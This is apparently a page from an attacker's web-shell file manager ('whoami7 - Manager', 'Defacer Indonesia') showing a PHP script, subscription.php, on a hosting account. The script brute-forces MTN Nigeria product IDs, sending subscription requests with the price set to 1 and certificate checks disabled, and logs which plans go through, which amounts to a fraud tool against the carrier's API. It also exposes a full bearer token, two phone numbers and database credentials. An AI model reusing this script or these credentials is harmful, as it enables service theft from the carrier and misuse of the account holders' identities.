whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/subscription.php
<?php declare(strict_types=1); header('Content-Type: application/json'); date_default_timezone_set('Africa/Lagos'); ini_set('display_errors', '0'); error_reporting(E_ALL); ignore_user_abort(true); set_time_limit(0); /*============================================================== | CONFIGURATION *==============================================================*/ /* |-------------------------------------------------------------------------- | Your master and beneficiary numbers |-------------------------------------------------------------------------- */ $masterMsisdn = '2347048139976'; $beneficiaryMsisdn = '2347031212750'; /* |-------------------------------------------------------------------------- | Paste a fresh MTN server token here |-------------------------------------------------------------------------- */ $masterToken = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InJibkxaMy1PM1BPd09pQ3JTOXJBcSJ9.eyJodHRwczovL215bXRuLmNvbS9sb2dpbkNvdW50IjozNzE3LCJodHRwczovL215bXRuLmNvbS91c2VyTWV0YURhdGEiOnsiZW1haWwiOiIiLCJtc2lzZG4iOiIyMzQ3MDQ4MTM5OTc2Iiwibmlja19uYW1lIjoiIiwidGVybXNfYWNjZXB0ZWQiOiJ0cnVlIiwidG91ckFwcERpc3BsYXkiOmZhbHNlLCJreWMiOnt9fSwiaHR0cHM6Ly9teW10bi5jb20vc2Vjb25kYXJ5UHJvZmlsZSI6W3sidXNlcl9pZCI6IjY3OTlmYzVkOTUyNTEyYmU0MzQ4NTVjMSIsInByb3ZpZGVyIjoic21zIiwiY29ubmVjdGlvbiI6InNtcyIsImlzU29jaWFsIjpmYWxzZX0seyJwcm9maWxlRGF0YSI6eyJuYW1lIjoiKzIzNDcwNDgxMzk5NzYiLCJuaWNrX25hbWUiOiIrMjM0NzA0ODEzOTk3NiIsInBob25lX251bWJlciI6IisyMzQ3MDQ4MTM5OTc2In0sInVzZXJfaWQiOiIrMjM0NzA0ODEzOTk3NiIsInByb3ZpZGVyIjoiYXV0aDAiLCJjb25uZWN0aW9uIjoiTXlNVE4tQmlvbWV0cmljcyIsImlzU29jaWFsIjpmYWxzZX1dLCJodHRwczovL215bXRuLmNvbS9waG9uZV9udW1iZXIiOiIrMjM0NzA0ODEzOTk3NiIsImlzcyI6Imh0dHBzOi8vYXV0aC5tdG5vbmxpbmUuY29tLyIsInN1YiI6InNtc3w2Nzk5ZmM1ZDk1MjUxMmJlNDM0ODU1YzEiLCJhdWQiOlsiTmV4dEdlbkFQSSIsImh0dHBzOi8vbXRubmctcHJvZC5tdG4uYXV0aDAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTc4NTg0NjYwMywiZXhwIjoxNzg1ODU3NDA0LCJzY29wZSI6Im9wZW5pZCBwcm9maWxlIGVtYWlsIG9mZmxpbmVfYWNjZXNzIiwiZ3R5IjoicGFzc3dvcmQiLCJhenAiOiJXTzVCYlR5RVdMU0Z2RlB3NVRzWW9pb1RRcWNxOE1xMyJ9.fm7rEQo-ngXUULK3mi23Wk9hpM4S3rtisy5UMYW0nxsj5OKRywWUA-EeHpTulG0sY6uiCj9Ht8O8i8Q2RtSbM_ygM9dtw7heOa-YWRg_UZVmIbsV0kX0_qORNUUv3kJ3CZbKtFRmy5PDSi4-oJHm9dCxlRtgoDWgeUSDheUoAIGIMNzzrScqCGIqbXDoIBQOvHYnISptgeg7Br1xJl_WCXApuXwPj6B-L6gpP6wXBQq6yYT6KkJFsa-yqQHfZ7w7bkfm1qFe96x4nypsL72mSZyOL0JFu_Eo4NfLPrUYX-GaUFfXfdK5jIJW_MOzpOYKsoXoZ-xzNIIJgC0MKCfb-w'; /* |-------------------------------------------------------------------------- | Your database details |-------------------------------------------------------------------------- */ $dbHost = 'localhost'; $dbName = 'simspala_yoursim'; $dbUser = 'simspala_yoursim'; /* * Paste the real database password here. */ $dbPass = 'simspala_yoursim'; /* |-------------------------------------------------------------------------- | Scanner settings |-------------------------------------------------------------------------- */ $startId = 1; $endId = 1000; $productPrefix = 'RACT_NG_Data_'; /* * Number of product IDs tested each time you open the script. */ $maxRequestsPerRun = 20; /* * Delay between MTN requests. */ $delaySeconds = 1; /* * The price field is required by the endpoint. */ $price = 1; /* |-------------------------------------------------------------------------- | MTN endpoint |-------------------------------------------------------------------------- */ $mtnUrl = 'https://mtn-dxl-transaction-core.mymtnnxgeaprod.mtnnigeria.net/api/v3/subscription'; /* |-------------------------------------------------------------------------- | Local files |-------------------------------------------------------------------------- */ $logFile = __DIR__ . '/ract_scan.log'; $progressFile = __DIR__ . '/ract_scan_progress.txt'; /*============================================================== | HELPER FUNCTIONS *==============================================================*/ function normalizeMsisdn(string $number): string { $number = preg_replace('/\D+/', '', $number) ?? ''; if (str_starts_with($number, '0')) { return '234' . substr($number, 1); } return $number; } function writeLog(string $logFile, string $message): void { $line = sprintf( "[%s] %s%s", date('Y-m-d H:i:s'), $message, PHP_EOL ); file_put_contents( $logFile, $line, FILE_APPEND | LOCK_EX ); } function getStatusCode(array $response): ?string { $paths = [ ['statusCode'], ['status_code'], ['code'], ['data', 'statusCode'], ['data', 'status_code'], ['data', 'code'], ['response', 'statusCode'], ['response', 'status_code'], ]; foreach ($paths as $path) { $value = $response; $found = true; foreach ($path as $key) { if (!is_array($value) || !array_key_exists($key, $value)) { $found = false; break; } $value = $value[$key]; } if ($found && $value !== null && $value !== '') { return (string) $value; } } return null; } function getValue(array $response, array $paths): mixed { foreach ($paths as $path) { $current = $response; $found = true; foreach (explode('.', $path) as $part) { if ( !is_array($current) || !array_key_exists($part, $current) ) { $found = false; break; } $current = $current[$part]; } if ($found && $current !== null && $current !== '') { return $current; } } return null; } function isValidRactPlan(int $httpCode, array $response): bool { if ($httpCode < 200 || $httpCode >= 300) { return false; } $statusCode = getStatusCode($response); /* * Known successful status codes. */ if (in_array($statusCode, ['6001', '0000'], true)) { return true; } $path = getValue($response, [ 'path', 'data.path', 'response.path', ]); if ( is_string($path) && str_contains(strtolower($path), '/subscriptions') ) { return true; } $success = getValue($response, [ 'success', 'data.success', 'response.success', ]); return $success === true || $success === 1 || $success === '1' || $success === 'true'; } /*============================================================== | VALIDATE CONFIGURATION *==============================================================*/ if ( trim($masterToken) === '' || $masterToken === 'PASTE_FRESH_SERVER_TOKEN_HERE' ) { echo json_encode([ 'status' => 'error', 'message' => 'Paste your fresh server token into $masterToken.', ]); exit; } if ( trim($dbPass) === '' || $dbPass === 'PASTE_DATABASE_PASSWORD_HERE' ) { echo json_encode([ 'status' => 'error', 'message' => 'Paste your database password into $dbPass.', ]); exit; } $masterMsisdn = normalizeMsisdn($masterMsisdn); $beneficiaryMsisdn = normalizeMsisdn($beneficiaryMsisdn); if ( strlen($masterMsisdn) !== 13 || strlen($beneficiaryMsisdn) !== 13 ) { echo json_encode([ 'status' => 'error', 'message' => 'Master or beneficiary number is invalid.', ]); exit; } /*============================================================== | DATABASE CONNECTION *==============================================================*/ try { $pdo = new PDO( "mysql:host={$dbHost};dbname={$dbName};charset=utf8mb4", $dbUser, $dbPass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ] ); } catch (PDOException $exception) { writeLog( $logFile, 'DATABASE ERROR: ' . $exception->getMessage() ); echo json_encode([ 'status' => 'error', 'message' => 'Database connection failed.', 'error' => $exception->getMessage(), ]); exit; } /*============================================================== | CREATE TABLE *==============================================================*/ try { $pdo->exec( " CREATE TABLE IF NOT EXISTS found_ract_plans ( id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT, numeric_id INT UNSIGNED NOT NULL, sku VARCHAR(100) NOT NULL, product_id VARCHAR(100) NOT NULL, status_code VARCHAR(100) NULL, http_code INT NULL, plan_name VARCHAR(255) NULL, plan_size VARCHAR(100) NULL, validity VARCHAR(100) NULL, amount DECIMAL(15,2) NULL, subscription_path TEXT NULL, transaction_reference VARCHAR(255) NULL, master_msisdn VARCHAR(20) NOT NULL, beneficiary_msisdn VARCHAR(20) NOT NULL, response_json LONGTEXT NOT NULL, created_at DATETIME NOT NULL, updated_at DATETIME NOT NULL, PRIMARY KEY (id), UNIQUE KEY unique_product_id (product_id), KEY numeric_id_index (numeric_id), KEY status_code_index (status_code), KEY created_at_index (created_at) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci " ); } catch (PDOException $exception) { writeLog( $logFile, 'TABLE ERROR: ' . $exception->getMessage() ); echo json_encode([ 'status' => 'error', 'message' => 'Could not create found_ract_plans table.', 'error' => $exception->getMessage(), ]); exit; } /*============================================================== | GET NEXT PRODUCT NUMBER *==============================================================*/ $currentId = $startId; if (file_exists($progressFile)) { $savedProgress = trim( (string) file_get_contents($progressFile) ); if ( $savedProgress !== '' && ctype_digit($savedProgress) ) { $currentId = max( $startId, (int) $savedProgress ); } } /* |-------------------------------------------------------------------------- | Optional reset |-------------------------------------------------------------------------- | | Open: | scanner.php?reset=1 | | This resets scanning back to RACT_NG_Data_1. */ if (isset($_GET['reset']) && $_GET['reset'] === '1') { $currentId = $startId; file_put_contents( $progressFile, (string) $startId, LOCK_EX ); } if ($currentId > $endId) { echo json_encode([ 'status' => 'completed', 'message' => 'All RACT IDs from 1 to 1000 have been scanned.', 'next_id' => null, ], JSON_PRETTY_PRINT); exit; } /*============================================================== | PREPARED DATABASE QUERIES *==============================================================*/ $checkFound = $pdo->prepare( " SELECT id FROM found_ract_plans WHERE product_id = :product_id LIMIT 1 " ); $saveFound = $pdo->prepare( " INSERT INTO found_ract_plans ( numeric_id, sku, product_id, status_code, http_code, plan_name, plan_size, validity, amount, subscription_path, transaction_reference, master_msisdn, beneficiary_msisdn, response_json, created_at, updated_at ) VALUES ( :numeric_id, :sku, :product_id, :status_code, :http_code, :plan_name, :plan_size, :validity, :amount, :subscription_path, :transaction_reference, :master_msisdn, :beneficiary_msisdn, :response_json, NOW(), NOW() ) ON DUPLICATE KEY UPDATE status_code = VALUES(status_code), http_code = VALUES(http_code), plan_name = VALUES(plan_name), plan_size = VALUES(plan_size), validity = VALUES(validity), amount = VALUES(amount), subscription_path = VALUES(subscription_path), transaction_reference = VALUES(transaction_reference), master_msisdn = VALUES(master_msisdn), beneficiary_msisdn = VALUES(beneficiary_msisdn), response_json = VALUES(response_json), updated_at = NOW() " ); /*============================================================== | START SCANNING *==============================================================*/ $testedThisRun = 0; $foundThisRun = 0; $skippedThisRun = 0; $results = []; $stoppedEarly = false; $stopReason = null; while ( $currentId <= $endId && $testedThisRun < $maxRequestsPerRun ) { $productId = $productPrefix . $currentId; /* |-------------------------------------------------------------------------- | Skip already found product IDs |-------------------------------------------------------------------------- */ $checkFound->execute([ 'product_id' => $productId, ]); if ($checkFound->fetchColumn()) { $skippedThisRun++; writeLog( $logFile, "SKIPPED ALREADY FOUND: {$productId}" ); $currentId++; file_put_contents( $progressFile, (string) $currentId, LOCK_EX ); continue; } /*-------------------------------------------------------------- | Build MTN payload *--------------------------------------------------------------*/ $mtnPayload = [ 'primaryMsisdn' => $masterMsisdn, 'payment_source' => 'CIS', 'product_id' => $productId, 'product_type' => 'DataPlan', 'beneficiary_id' => $beneficiaryMsisdn, 'payment_method' => 'Airtime', 'price' => (int) $price, 'renewal' => false, 'cvmoffer' => false, ]; $payloadJson = json_encode( $mtnPayload, JSON_UNESCAPED_SLASHES ); if ($payloadJson === false) { $results[] = [ 'product_id' => $productId, 'status' => 'payload_error', ]; $currentId++; file_put_contents( $progressFile, (string) $currentId, LOCK_EX ); continue; } $headers = [ 'Authorization: Bearer ' . $masterToken, 'Channel: MTNAPPNXG', 'Content-Type: application/json', 'Accept: application/json', ]; /*-------------------------------------------------------------- | Send request *--------------------------------------------------------------*/ $ch = curl_init($mtnUrl); if ($ch === false) { $stoppedEarly = true; $stopReason = 'Could not initialize cURL.'; break; } curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payloadJson, CURLOPT_HTTPHEADER => $headers, CURLOPT_TIMEOUT => 45, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4, CURLOPT_ENCODING => '', ]); $response = curl_exec($ch); $curlError = curl_error($ch); $curlErrno = curl_errno($ch); $httpCode = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ); curl_close($ch); if ($response === false) { $response = ''; } $testedThisRun++; writeLog( $logFile, "TEST {$productId}" . " | HTTP={$httpCode}" . " | CURL={$curlErrno}" . " | ERROR=" . ($curlError !== '' ? $curlError : 'none') . " | RESPONSE=" . substr($response, 0, 1500) ); /*-------------------------------------------------------------- | Decode response *--------------------------------------------------------------*/ $decodedResponse = json_decode( $response, true ); if (!is_array($decodedResponse)) { $decodedResponse = [ 'raw_response' => $response, ]; } $responseJson = json_encode( $decodedResponse, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); if ($responseJson === false) { $responseJson = '{}'; } $statusCode = getStatusCode( $decodedResponse ); $isValid = isValidRactPlan( $httpCode, $decodedResponse ); $results[] = [ 'numeric_id' => $currentId, 'product_id' => $productId, 'http_code' => $httpCode, 'status_code' => $statusCode, 'valid' => $isValid, 'curl_error' => $curlError !== '' ? $curlError : null, ]; /*-------------------------------------------------------------- | Stop on expired or rejected token *--------------------------------------------------------------*/ if (in_array($httpCode, [401, 403], true)) { $stoppedEarly = true; $stopReason = "Token rejected with HTTP {$httpCode}"; writeLog( $logFile, "STOPPED: {$stopReason}" ); break; } if ($httpCode === 429) { $stoppedEarly = true; $stopReason = 'MTN rate limit reached.'; writeLog( $logFile, "STOPPED: {$stopReason}" ); break; } $lowerResponse = strtolower( $responseJson ); $criticalErrors = [ 'token expired', 'invalid token', 'unauthorized', 'invalid signature', 'biometric user not found', ]; foreach ($criticalErrors as $criticalError) { if ( str_contains( $lowerResponse, $criticalError ) ) { $stoppedEarly = true; $stopReason = $criticalError; writeLog( $logFile, "STOPPED: {$criticalError}" ); break 2; } } /*-------------------------------------------------------------- | Save only confirmed valid RACT plan *--------------------------------------------------------------*/ if ($isValid) { $planName = getValue($decodedResponse, [ 'plan_name', 'planName', 'name', 'data.plan_name', 'data.planName', 'data.name', 'product.name', 'data.product.name', ]); $planSize = getValue($decodedResponse, [ 'plan_size', 'planSize', 'size', 'volume', 'data.plan_size', 'data.planSize', 'data.size', 'data.volume', ]); $validity = getValue($decodedResponse, [ 'validity', 'validity_period', 'duration', 'data.validity', 'data.validity_period', 'data.duration', ]); $responseAmount = getValue($decodedResponse, [ 'amount', 'price', 'cost', 'data.amount', 'data.price', 'data.cost', ]); $subscriptionPath = getValue($decodedResponse, [ 'path', 'data.path', 'response.path', ]); $transactionReference = getValue($decodedResponse, [ 'reference', 'transactionReference', 'transaction_reference', 'data.reference', 'data.transactionReference', 'data.transaction_reference', ]); try { $saveFound->execute([ 'numeric_id' => $currentId, 'sku' => $productId, 'product_id' => $productId, 'status_code' => $statusCode, 'http_code' => $httpCode, 'plan_name' => is_scalar($planName) ? (string) $planName : null, 'plan_size' => is_scalar($planSize) ? (string) $planSize : null, 'validity' => is_scalar($validity) ? (string) $validity : null, 'amount' => is_numeric($responseAmount) ? (float) $responseAmount : null, 'subscription_path' => is_scalar($subscriptionPath) ? (string) $subscriptionPath : null, 'transaction_reference' => is_scalar($transactionReference) ? (string) $transactionReference : null, 'master_msisdn' => $masterMsisdn, 'beneficiary_msisdn' => $beneficiaryMsisdn, 'response_json' => $responseJson, ]); $foundThisRun++; writeLog( $logFile, "VALID RACT FOUND: {$productId}" . " | STATUS={$statusCode}" . " | HTTP={$httpCode}" ); } catch (PDOException $exception) { writeLog( $logFile, "SAVE ERROR {$productId}: " . $exception->getMessage() ); } } /* |-------------------------------------------------------------------------- | Move to next product |-------------------------------------------------------------------------- */ $currentId++; file_put_contents( $progressFile, (string) $currentId, LOCK_EX ); if ( $delaySeconds > 0 && $currentId <= $endId && $testedThisRun < $maxRequestsPerRun ) { sleep($delaySeconds); } } /*============================================================== | FINAL RESPONSE *==============================================================*/ $completed = $currentId > $endId; echo json_encode([ 'status' => $stoppedEarly ? 'stopped' : ($completed ? 'completed' : 'continue'), 'message' => $stoppedEarly ? 'Scanner stopped before completing the range.' : ( $completed ? 'All RACT product IDs have been scanned.' : 'This batch completed. Reload the page to continue.' ), 'range' => [ 'start' => $startId, 'end' => $endId, ], 'tested_this_run' => $testedThisRun, 'found_this_run' => $foundThisRun, 'skipped_this_run' => $skippedThisRun, 'next_numeric_id' => $completed ? null : $currentId, 'next_product_id' => $completed ? null : $productPrefix . $currentId, 'completed' => $completed, 'stopped_early' => $stoppedEarly, 'stop_reason' => $stopReason, 'results' => $results, ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
Copyright ©2021 || Defacer Indonesia